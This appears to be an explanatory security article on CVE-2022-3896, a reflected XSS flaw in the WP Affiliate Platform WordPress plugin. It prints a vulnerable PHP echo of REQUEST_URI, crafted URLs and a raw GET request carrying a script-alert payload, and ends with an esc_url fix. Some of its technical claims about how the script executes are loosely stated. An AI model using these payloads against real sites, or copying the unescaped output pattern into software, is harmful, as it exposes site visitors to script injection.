CVE-2022-3896 - Reflected XSS in WordPress WP Affiliate Platform Plugin (<= 6.3.9) Explained With Exploit Code

The WordPress plugin WP Affiliate Platform is used by website owners to manage affiliates, track referrals, and handle commission payments. But in late 2022, a dangerous vulnerability was reported in this plugin, tracked as CVE-2022-3896. The flaw made it possible for attackers to inject and execute malicious scripts through a security weakness called Reflected Cross-Site Scripting (XSS).

This article will explain the vulnerability, how it works, show real-world exploit examples, and give you clear references for further reading.

Status: Patched in newer versions

- CVE Record: cve.mitre.org

Before diving into the code, let’s break it down. Reflected XSS happens when

- User-supplied data (like part of the URL) is immediately included in a page’s HTML (or JavaScript) output.

Attackers craft links that include malicious script, which runs if a victim clicks the link.

With this plugin, the vulnerable code used the value of $_SERVER["REQUEST_URI"] directly in HTML output without filtering.

The problem lies in code like this (simplified for clarity)

<?php
// Inside the plugin PHP code (some template or handler)
echo '<a href="' . $_SERVER["REQUEST_URI"] . '?action=display">Click Here</a>';
?>

If the URL looked like this

https://example.com/wp-content/plugins/wp-affiliate-platform/page.php

This would create

<a href="/wp-content/plugins/wp-affiliate-platform/page.php?action=display">Click Here</a>

But if an attacker tricks a user into visiting

https://example.com/wp-content/plugins/wp-affiliate-platform/page.php?<script>alert(1)</script>

That could cause the browser to output

<a href="/wp-content/plugins/wp-affiliate-platform/page.php?<script>alert(1)</script>?action=display">Click Here</a>

Depending on the browser and context, the malicious script might execute if clicked.

Proof of Concept Exploit

A real-world attacker might create a link like this and use social engineering (tricking a target to click):

https://victim-website.com/wp-content/plugins/wp-affiliate-platform/page.php?<script>alert('XSS!')</script>;

When a targeted user clicks the link, and the plugin echoes back $_SERVER["REQUEST_URI"] in the response, the dangerous script <script>alert('XSS!')</script> is inserted into the web page.

Simple Exploit

GET /wp-content/plugins/wp-affiliate-platform/page.php?<script>alert('XSS!')</script> HTTP/1.1
Host: victim-website.com

Response (highlighted)

<a href="/wp-content/plugins/wp-affiliate-platform/page.php?<script>alert('XSS!')</script>?action=display">Click Here</a>

Can This Really Work in 2024?

Most modern browsers have some protection against this kind of attack—like blocking obvious script injections inside URLs. However, creative attackers can still find ways to bypass these filters by using event handlers, encoding scripts, or exploiting less common contexts.

- It is harder to exploit now than a few years ago, but not impossible, especially in old browsers or plugin environments handling output differently.

How to Fix

If you are using WP Affiliate Platform version 6.3.9 or below, update immediately.

Here's how you can prevent this problem using core WordPress functions

<?php
// Always sanitize before outputting to HTML
echo '<a href="' . esc_url($_SERVER["REQUEST_URI"]) . '?action=display">Click Here</a>';
?>

esc_url() is a WordPress function that makes a string safe for use in URLs.

References

- Official WPScan Entry
- Vulnerability details at Patchstack
- CVE-2022-3896 at CVE Details
- Plugin's changelog and fixes

Conclusion

CVE-2022-3896 in the WP Affiliate Platform plugin is a classic example of how small coding errors (like not sanitizing or escaping user input) can let attackers run dangerous code on your users' browsers. While the risk is lower in 2024 thanks to browser protections, it’s just not worth gambling—always keep your plugins up-to-date and secure your code!

If you manage a WordPress site or develop plugins, double check any use of $_SERVER["REQUEST_URI"] and escape all outputs. Safe coding saves you, your site, and your users.

Timeline

Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 19:28:00 UTC